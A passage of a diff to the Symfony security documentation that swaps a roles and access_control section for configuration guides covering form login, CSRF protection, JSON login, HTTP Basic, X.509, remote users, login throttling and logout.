-and its job is to decide if a user can access some resource (a URL, a model object,
-a method call, ...).
+.. code-block:: terminal
 
-The process of authorization has two different sides:
+    $ php bin/console make:controller Login
 
-#. The user receives a specific set of roles when logging in (e.g. ``ROLE_ADMIN``).
-#. You add code so that a resource (e.g. URL, controller) requires a specific
-   "attribute" (most commonly a role like ``ROLE_ADMIN``) in order to be
-   accessed.
+     created: src/Controller/LoginController.php
+     created: templates/login/index.html.twig
 
-Roles
-~~~~~
+.. code-block:: php
 
-When a user logs in, Symfony calls the ``getRoles()`` method on your ``User``
-object to determine which roles this user has. In the ``User`` class that we
-generated earlier, the roles are an array that's stored in the database, and
-every user is *always* given at least one role: ``ROLE_USER``::
+    // src/Controller/LoginController.php
+    namespace App\Controller;
 
-    // src/Entity/User.php
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
 
-    // ...
-    class User
+    class LoginController extends AbstractController
     {
-        /**
-         * @ORM\Column(type="json")
-         */
-        private $roles = [];
-
-        // ...
-        public function getRoles(): array
+        #[Route('/login', name: 'login')]
+        public function index(): Response
         {
-            $roles = $this->roles;
-            // guarantee every user at least has ROLE_USER
-            $roles[] = 'ROLE_USER';
-
-            return array_unique($roles);
+            return $this->render('login/index.html.twig', [
+                'controller_name' => 'LoginController',
+            ]);
         }
     }
 
-This is a nice default, but you can do *whatever* you want to determine which roles
-a user should have. Here are a few guidelines:
-
-* Every role **must start with** ``ROLE_`` (otherwise, things won't work as expected)
-
-* Other than the above rule, a role is just a string and you can invent what you
-  need (e.g. ``ROLE_PRODUCT_ADMIN``).
-
-You'll use these roles next to grant access to specific sections of your site.
-You can also use a :ref:`role hierarchy <security-role-hierarchy>` where having
-some roles automatically give you other roles.
-
-.. _security-role-authorization:
-
-Add Code to Deny Access
-~~~~~~~~~~~~~~~~~~~~~~~
-
-There are **two** ways to deny access to something:
-
-#. :ref:`access_control in security.yaml <security-authorization-access-control>`
-   allows you to protect URL patterns (e.g. ``/admin/*``). Simpler, but less flexible;
-
-#. :ref:`in your controller (or other code) <security-securing-controller>`.
-
-.. _security-authorization-access-control:
-
-Securing URL patterns (access_control)
-......................................
-
-The most basic way to secure part of your app is to secure an entire URL pattern
-in ``security.yaml``. For example, to require ``ROLE_ADMIN`` for all URLs that
-start with ``/admin``, you can:
+Then, enable the form login authenticator using the ``form_login`` setting:
 
 .. configuration-block::
 
@@ -506,25 +703,1343 @@ start with ``/admin``, you can:
             # ...
 
             firewalls:
-                # ...
                 main:
                     # ...
+                    form_login:
+                        # "login" is the name of the route created previously
+                        login_path: login
+                        check_path: login
 
-            access_control:
-                # require ROLE_ADMIN for /admin*
-                - { path: '^/admin', roles: ROLE_ADMIN }
-
-                # or require ROLE_ADMIN or IS_AUTHENTICATED_FULLY for /admin*
-                - { path: '^/admin', roles: [IS_AUTHENTICATED_FULLY, ROLE_ADMIN] }
+    .. code-block:: xml
 
-                # the 'path' value can be any valid regular expression
-                # (this one will match URLs like /api/post/7298 and /api/comment/528491)
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+                <firewall name="main">
+                    <!-- "login" is the name of the route created previously -->
+                    <form-login login-path="login" check-path="login"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+
+            $mainFirewall = $security->firewall('main');
+
+            // "login" is the name of the route created previously
+            $mainFirewall->formLogin()
+                ->loginPath('login')
+                ->checkPath('login')
+            ;
+        };
+
+.. note::
+
+    The ``login_path`` and ``check_path`` support URLs and route names (but
+    cannot have mandatory wildcards - e.g. ``/login/{foo}`` where ``foo``
+    has no default value).
+
+Once enabled, the security system redirects unauthenticated visitors to the
+``login_path`` when they try to access a secured place (this behavior can
+be customized using :ref:`authentication entry points <security-entry-point>`).
+
+Edit the login controller to render the login form:
+
+.. code-block:: diff
+
+      // ...
+    + use Symfony\Component\Security\Http\Authentication\AuthenticationUtils;
+
+      class LoginController extends AbstractController
+      {
+          #[Route('/login', name: 'login')]
+    -     public function index(): Response
+    +     public function index(AuthenticationUtils $authenticationUtils): Response
+          {
+    +         // get the login error if there is one
+    +         $error = $authenticationUtils->getLastAuthenticationError();
+    +
+    +         // last username entered by the user
+    +         $lastUsername = $authenticationUtils->getLastUsername();
+    +
+              return $this->render('login/index.html.twig', [
+    -             'controller_name' => 'LoginController',
+    +             'last_username' => $lastUsername,
+    +             'error'         => $error,
+              ]);
+          }
+      }
+
+Don't let this controller confuse you. Its job is only to *render* the form:
+the ``form_login`` authenticator will handle the form *submission* automatically.
+If the user submits an invalid email or password, that authenticator will store
+the error and redirect back to this controller, where we read the error (using
+``AuthenticationUtils``) so that it can be displayed back to the user.
+
+Finally, create or update the template:
+
+.. code-block:: html+twig
+
+    {# templates/login/index.html.twig #}
+    {% extends 'base.html.twig' %}
+
+    {# ... #}
+
+    {% block body %}
+        {% if error %}
+            <div>{{ error.messageKey|trans(error.messageData, 'security') }}</div>
+        {% endif %}
+
+        <form action="{{ path('login') }}" method="post">
+            <label for="username">Email:</label>
+            <input type="text" id="username" name="_username" value="{{ last_username }}"/>
+
+            <label for="password">Password:</label>
+            <input type="password" id="password" name="_password"/>
+
+            {# If you want to control the URL the user is redirected to on success
+            <input type="hidden" name="_target_path" value="/account"/> #}
+
+            <button type="submit">login</button>
+        </form>
+    {% endblock %}
+
+.. caution::
+
+    The ``error`` variable passed into the template is an instance of
+    :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`.
+    It may contain sensitive information about the authentication failure.
+    *Never* use ``error.message``: use the ``messageKey`` property instead,
+    as shown in the example. This message is always safe to display.
+
+The form can look like anything, but it usually follows some conventions:
+
+* The ``<form>`` element sends a ``POST`` request to the ``login`` route, since
+  that's what you configured as the ``check_path`` under the ``form_login`` key in
+  ``security.yaml``;
+* The username (or whatever your user's "identifier" is, like an email) field has
+  the name ``_username`` and the password field has the name ``_password``.
+
+.. tip::
+
+    Actually, all of this can be configured under the ``form_login`` key. See
+    :ref:`reference-security-firewall-form-login` for more details.
+
+.. caution::
+
+    This login form is currently not protected against CSRF attacks. Read
+    :ref:`form_login-csrf` on how to protect your login form.
+
+And that's it! When you submit the form, the security system automatically
+reads the ``_username`` and ``_password`` POST parameter, loads the user via
+the user provider, checks the user's credentials and either authenticates the
+user or sends them back to the login form where the error can be displayed.
+
+To review the whole process:
+
+#. The user tries to access a resource that is protected (e.g. ``/admin``);
+#. The firewall initiates the authentication process by redirecting the
+   user to the login form (``/login``);
+#. The ``/login`` page renders login form via the route and controller created
+   in this example;
+#. The user submits the login form to ``/login``;
+#. The security system (i.e. the ``form_login`` authenticator) intercepts the
+   request, checks the user's submitted credentials, authenticates the user if
+   they are correct, and sends the user back to the login form if they are not.
+
+.. seealso::
+
+    You can customize the responses on a successful or failed login
+    attempt. See :doc:`/security/form_login`.
+
+.. _form_login-csrf:
+
+CSRF Protection in Login Forms
+..............................
+
+`Login CSRF attacks`_ can be prevented using the same technique of adding hidden
+CSRF tokens into the login forms. The Security component already provides CSRF
+protection, but you need to configure some options before using it.
+
+First, you need to enable CSRF on the form login:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                secured_area:
+                    # ...
+                    form_login:
+                        # ...
+                        enable_csrf: true
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <firewall name="secured_area">
+                    <!-- ... -->
+                    <form-login enable-csrf="true"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->formLogin()
+                // ...
+                ->enableCsrf(true)
+            ;
+        };
+
+.. _csrf-login-template:
+
+Then, use the ``csrf_token()`` function in the Twig template to generate a CSRF
+token and store it as a hidden field of the form. By default, the HTML field
+must be called ``_csrf_token`` and the string used to generate the value must
+be ``authenticate``:
+
+.. code-block:: html+twig
+
+    {# templates/security/login.html.twig #}
+
+    {# ... #}
+    <form action="{{ path('login') }}" method="post">
+        {# ... the login fields #}
+
+        <input type="hidden" name="_csrf_token" value="{{ csrf_token('authenticate') }}">
+
+        <button type="submit">login</button>
+    </form>
+
+After this, you have protected your login form against CSRF attacks.
+
+.. tip::
+
+    You can change the name of the field by setting ``csrf_parameter`` and change
+    the token ID by setting  ``csrf_token_id`` in your configuration. See
+    :ref:`reference-security-firewall-form-login` for more details.
+
+JSON Login
+~~~~~~~~~~
+
+Some applications provide an API that is secured using tokens. These
+applications may use an endpoint that provides these tokens based on a
+username (or email) and password. The JSON login authenticator helps you create
+this functionality.
+
+Enable the authenticator using the ``json_login`` setting:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    # ...
+                    json_login:
+                        # api_login is a route we will create below
+                        check_path: api_login
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+                <firewall name="main">
+                    <json-login check-path="api_login"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->jsonLogin()
+                ->checkPath('api_login')
+            ;
+        };
+
+.. note::
+
+    The ``check_path`` supports URLs and route names (but cannot have
+    mandatory wildcards - e.g. ``/login/{foo}`` where ``foo`` has no
+    default value).
+
+The authenticator runs when a client request the ``check_path``. First,
+create a controller for this path:
+
+.. code-block:: terminal
+
+    $ php bin/console make:controller --no-template ApiLogin
+
+     created: src/Controller/ApiLoginController.php
+
+.. code-block:: php
+
+    // src/Controller/ApiLoginController.php
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
+
+    class ApiLoginController extends AbstractController
+    {
+        #[Route('/api/login', name: 'api_login')]
+        public function index(): Response
+        {
+            return $this->json([
+                'message' => 'Welcome to your new controller!',
+                'path' => 'src/Controller/ApiLoginController.php',
+            ]);
+        }
+    }
+
+This login controller will be called after the authenticator successfully
+authenticates the user. You can get the authenticated user, generate a
+token (or whatever you need to return) and return the JSON response:
+
+.. code-block:: diff
+
+      // ...
+    + use App\Entity\User;
+    + use Symfony\Component\Security\Http\Attribute\CurrentUser;
+
+      class ApiLoginController extends AbstractController
+      {
+          #[Route('/api/login', name: 'api_login')]
+    -     public function index(): Response
+    +     public function index(#[CurrentUser] ?User $user): Response
+          {
+    +         if (null === $user) {
+    +             return $this->json([
+    +                 'message' => 'missing credentials',
+    +             ], Response::HTTP_UNAUTHORIZED);
+    +         }
+    +
+    +         $token = ...; // somehow create an API token for $user
+    +
+              return $this->json([
+    -             'message' => 'Welcome to your new controller!',
+    -             'path' => 'src/Controller/ApiLoginController.php',
+    +             'user'  => $user->getUserIdentifier(),
+    +             'token' => $token,
+              ]);
+          }
+      }
+
+.. note::
+
+    The ``#[CurrentUser]`` can only be used in controller arguments to
+    retrieve the authenticated user. In services, you would use
+    :method:`Symfony\\Component\\Security\\Core\\Security::getUser`.
+
+That's it! To summarize the process:
+
+#. A client (e.g. the front-end) makes a *POST request* with the
+   ``Content-Type: application/json`` header to ``/api/login`` with
+   ``username`` (even if your identifier is actually an email) and
+   ``password`` keys:
+
+   .. code-block:: json
+
+        {
+            "username": "dunglas@example.com",
+            "password": "MyPassword"
+        }
+#. The security system intercepts the request, checks the user's submitted
+   credentials and authenticates the user. If the credentials is incorrect,
+   an HTTP 401 Unauthorized JSON response is returned, otherwise your
+   controller is run;
+#. Your controller creates the correct response:
+
+   .. code-block:: json
+
+        {
+            "user": "dunglas@example.com",
+            "token": "45be42..."
+        }
+
+.. tip::
+
+    The JSON request format can be configured under the ``json_login`` key.
+    See :ref:`reference-security-firewall-json-login` for more details.
+
+.. _security-http_basic:
+
+HTTP Basic
+~~~~~~~~~~
+
+`HTTP Basic authentication`_ is a standardized HTTP authentication
+framework. It asks credentials (username and password) using a dialog in
+the browser and the HTTP basic authenticator of Symfony will verify these
+credentials.
+
+Add the ``http_basic`` key to your firewall to enable HTTP Basic
+authentication:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    # ...
+                    http_basic:
+                        realm: Secured Area
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+                <firewall name="main">
+                    <http-basic realm="Secured Area"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->httpBasic()
+                ->realm('Secured Area')
+            ;
+        };
+
+That's it! Whenever an unauthenticated user tries to visit a protected
+page, Symfony will inform the browser that it needs to start HTTP basic
+authentication (using the ``WWW-Authenticate`` response header). Then, the
+authenticator verifies the credentials and authenticates the user.
+
+.. note::
+
+    You cannot use :ref:`log out <security-logging-out>` with the HTTP
+    basic authenticator. Even if you log out from Symfony, your browser
+    "remembers" your credentials and will send them on every request.
+
+Login Link
+~~~~~~~~~~
+
+Login links are a passwordless authentication mechanism. The user will
+receive a short-lived link (e.g. via email) which will authenticate them to the
+website.
+
+You can learn all about this authenticator in :doc:`/security/login_link`.
+
+X.509 Client Certificates
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When using client certificates, your web server does all the authentication
+itself. The X.509 authenticator provided by Symfony extracts the email from
+the "distinguished name" (DN) of the client certificate. Then, it uses this
+email as user identifier in the user provider.
+
+First, configure your web server to enable client certificate verification
+and to expose the certificate's DN to the Symfony application:
+
+.. configuration-block::
+
+    .. code-block:: nginx
+
+        server {
+            # ...
+
+            ssl_client_certificate /path/to/my-custom-CA.pem;
+
+            # enable client certificate verification
+            ssl_verify_client optional;
+            ssl_verify_depth 1;
+
+            location / {
+                # pass the DN as "SSL_CLIENT_S_DN" to the application
+                fastcgi_param SSL_CLIENT_S_DN $ssl_client_s_dn;
+
+                # ...
+            }
+        }
+
+    .. code-block:: apache
+
+        # ...
+        SSLCACertificateFile "/path/to/my-custom-CA.pem"
+        SSLVerifyClient optional
+        SSLVerifyDepth 1
+
+        # pass the DN to the application
+        SSLOptions +StdEnvVars
+
+Then, enable the X.509 authenticator using ``x509`` on your firewall:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    # ...
+                    x509:
+                        provider: your_user_provider
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <firewall name="main">
+                    <!-- ... -->
+                    <x509 provider="your_user_provider"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->x509()
+                ->provider('your_user_provider')
+            ;
+        };
+
+By default, Symfony extracts the email address from the DN in two different
+ways:
+
+#. First, it tries the ``SSL_CLIENT_S_DN_Email`` server parameter, which is
+   exposed by Apache;
+#. If it is not set (e.g. when using Nginx), it uses ``SSL_CLIENT_S_DN`` and
+   matches the value following ``emailAddress=``.
+
+You can customize the name of both parameters under the ``x509`` key. See
+:ref:`the configuration reference <reference-security-firewall-x509>` for
+more details.
+
+Remote Users
+~~~~~~~~~~~~
+
+Besides client certificate authentication, there are more web server
+modules that pre-authenticate a user (e.g. kerberos). The remote user
+authenticator provides a basic integration for these services.
+
+These modules often expose the authenticated user in the ``REMOTE_USER``
+environment variable. The remote user authenticator uses this value as the
+user identifier to load the corresponding user.
+
+Enable remote user authentication using the ``remote_user`` key:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    # ...
+                    remote_user:
+                        provider: your_user_provider
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <remote-user provider="your_user_provider"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->remoteUser()
+                ->provider('your_user_provider')
+            ;
+        };
+
+.. tip::
+
+    You can customize the name of this server variable under the
+    ``remote_user`` key. See
+    :ref:`the configuration reference <reference-security-firewall-remote-user>`
+    for more details.
+
+Limiting Login Attempts
+~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.2
+
+    Login throttling was introduced in Symfony 5.2.
+
+Symfony provides basic protection against `brute force login attacks`_.
+You must enable this using the ``login_throttling`` setting:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # you must use the authenticator manager
+            enable_authenticator_manager: true
+
+            firewalls:
+                # ...
+
+                main:
+                    # ...
+
+                    # by default, the feature allows 5 login attempts per minute
+                    login_throttling: null
+
+                    # configure the maximum login attempts (per minute)
+                    login_throttling:
+                        max_attempts: 3
+
+                    # configure the maximum login attempts in a custom period of time
+                    login_throttling:
+                        max_attempts: 3
+                        interval: '15 minutes'
+
+                    # use a custom rate limiter via its service ID
+                    login_throttling:
+                        limiter: app.my_login_rate_limiter
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <!-- you must use the authenticator manager -->
+            <config enable-authenticator-manager="true">
+                <!-- ... -->
+
+                <firewall name="main">
+                    <!-- by default, the feature allows 5 login attempts per minute -->
+                    <login-throttling/>
+
+                    <!-- configure the maximum login attempts (per minute) -->
+                    <login-throttling max-attempts="3"/>
+
+                    <!-- configure the maximum login attempts in a custom period of time -->
+                    <login-throttling max-attempts="3" interval="15 minutes"/>
+
+                    <!-- use a custom rate limiter via its service ID -->
+                    <login-throttling limiter="app.my_login_rate_limiter"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->enableAuthenticatorManager(true);
+
+            $mainFirewall = $security->firewall('main');
+
+            // by default, the feature allows 5 login attempts per minute
+            $mainFirewall->loginThrottling();
+
+            // configure the maximum login attempts (per minute)
+            $mainFirewall->loginThrottling()
+                ->maxAttempts(3)
+            ;
+
+            // configure the maximum login attempts in a custom period of time
+            $mainFirewall->loginThrottling()
+                ->maxAttempts(3)
+                ->interval('15 minutes')
+            ;
+        };
+
+.. versionadded:: 5.3
+
+    The ``login_throttling.interval`` option was introduced in Symfony 5.3.
+
+By default, login attempts are limited on ``max_attempts`` (default: 5)
+failed requests for ``IP address + username`` and ``5 * max_attempts``
+failed requests for ``IP address``. The second limit protects against an
+attacker using multiple usernames from bypassing the first limit, without
+disrupting normal users on big networks (such as offices).
+
+.. tip::
+
+    Limiting the failed login attempts is only one basic protection against
+    brute force attacks. The `OWASP Brute Force Attacks`_ guidelines mention
+    several other protections that you should consider depending on the
+    level of protection required.
+
+If you need a more complex limiting algorithm, create a class that implements
+:class:`Symfony\\Component\\HttpFoundation\\RateLimiter\\RequestRateLimiterInterface`
+(or use
+:class:`Symfony\\Component\\Security\\Http\\RateLimiter\\DefaultLoginRateLimiter`)
+and set the ``limiter`` option to its service ID:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        framework:
+            rate_limiter:
+                # define 2 rate limiters (one for username+IP, the other for IP)
+                username_ip_login:
+                    policy: token_bucket
+                    limit: 5
+                    rate: { interval: '5 minutes' }
+
+                ip_login:
+                    policy: sliding_window
+                    limit: 50
+                    interval: '15 minutes'
+
+        services:
+            # our custom login rate limiter
+            app.login_rate_limiter:
+                class: Symfony\Component\Security\Http\RateLimiter\DefaultLoginRateLimiter
+                arguments:
+                    # globalFactory is the limiter for IP
+                    $globalFactory: '@limiter.ip_login'
+                    # localFactory is the limiter for username+IP
+                    $localFactory: '@limiter.username_ip_login'
+
+        security:
+            firewalls:
+                main:
+                    # use a custom rate limiter via its service ID
+                    login_throttling:
+                        limiter: app.login_rate_limiter
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <framework:config>
+                <framework:rate-limiter>
+                    <!-- define 2 rate limiters (one for username+IP, the other for IP) -->
+                    <framework:limiter name="username_ip_login"
+                        policy="token_bucket"
+                        limit="5"
+                    >
+                        <framework:rate interval="5 minutes"/>
+                    </framework:limiter>
+
+                    <framework:limiter name="ip_login"
+                        policy="sliding_window"
+                        limit="50"
+                        interval="15 minutes"
+                    />
+                </framework:rate-limiter>
+            </framework:config>
+
+            <srv:services>
+                <!-- our custom login rate limiter -->
+                <srv:service id="app.login_rate_limiter"
+                    class="Symfony\Component\Security\Http\RateLimiter\DefaultLoginRateLimiter"
+                >
+                    <!-- 1st argument is the limiter for IP -->
+                    <srv:argument type="service" id="limiter.ip_login"/>
+                    <!-- 2nd argument is the limiter for username+IP -->
+                    <srv:argument type="service" id="limiter.username_ip_login"/>
+                </srv:service>
+            </srv:services>
+
+            <config>
+                <firewall name="main">
+                    <!-- use a custom rate limiter via its service ID -->
+                    <login-throttling limiter="app.login_rate_limiter"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Component\DependencyInjection\ContainerBuilder;
+        use Symfony\Component\DependencyInjection\Reference;
+        use Symfony\Component\Security\Http\RateLimiter\DefaultLoginRateLimiter;
+        use Symfony\Config\FrameworkConfig;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (ContainerBuilder $container, FrameworkConfig $framework, SecurityConfig $security) {
+            $framework->rateLimiter()
+                ->limiter('username_ip_login')
+                    ->policy('token_bucket')
+                    ->limit(5)
+                    ->rate()
+                        ->interval('5 minutes')
+            ;
+
+            $framework->rateLimiter()
+                ->limiter('ip_login')
+                    ->policy('sliding_window')
+                    ->limit(50)
+                    ->interval('15 minutes')
+            ;
+
+            $container->register('app.login_rate_limiter', DefaultLoginRateLimiter::class)
+                ->setArguments([
+                    // 1st argument is the limiter for IP
+                    new Reference('limiter.ip_login'),
+                    // 2nd argument is the limiter for username+IP
+                    new Reference('limiter.username_ip_login'),
+                ]);
+
+            $security->firewall('main')
+                ->loginThrottling()
+                    ->limiter('app.login_rate_limiter')
+            ;
+        };
+
+.. _security-logging-out:
+
+Logging Out
+-----------
+
+To enable logging out, activate the  ``logout`` config parameter under your firewall:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    # ...
+                    logout:
+                        path: app_logout
+
+                        # where to redirect after logout
+                        # target: app_any_route
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <firewall name="main">
+                    <!-- ... -->
+                    <logout path="app_logout"/>
+
+                    <!-- use "target" to configure where to redirect after logout
+                    <logout path="app_logout" target="app_any_route"/>
+                    -->
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+
+            $mainFirewall = $security->firewall('main');
+            // ...
+            $mainFirewall->logout()
+                ->path('app_logout')
+
+                // where to redirect after logout
+                // ->target('app_any_route')
+            ;
+        };
+
+Next, you need to create a route for this URL (but not a controller):
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Controller/SecurityController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class SecurityController extends AbstractController
+        {
+            /**
+             * @Route("/logout", name="app_logout", methods={"GET"})
+             */
+            public function logout(): void
+            {
+                // controller can be blank: it will never be called!
+                throw new \Exception('Don\'t forget to activate logout in security.yaml');
+            }
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Controller/SecurityController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class SecurityController extends AbstractController
+        {
+            #[Route('/logout', name: 'app_logout', methods: ['GET'])]
+            public function logout()
+            {
+                // controller can be blank: it will never be called!
+                throw new \Exception('Don\'t forget to activate logout in security.yaml');
+            }
+        }
+
+    .. code-block:: yaml
+
+        # config/routes.yaml
+        app_logout:
+            path: /logout
+            methods: GET
+
+    .. code-block:: xml
+
+        <!-- config/routes.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <routes xmlns="http://symfony.com/schema/routing"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/routing
+                https://symfony.com/schema/routing/routing-1.0.xsd">
+
+            <route id="app_logout" path="/logout" methods="GET"/>
+        </routes>
+
+    ..  code-block:: php
+
+        // config/routes.php
+        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+
+        return function (RoutingConfigurator $routes) {
+            $routes->add('app_logout', '/logout')
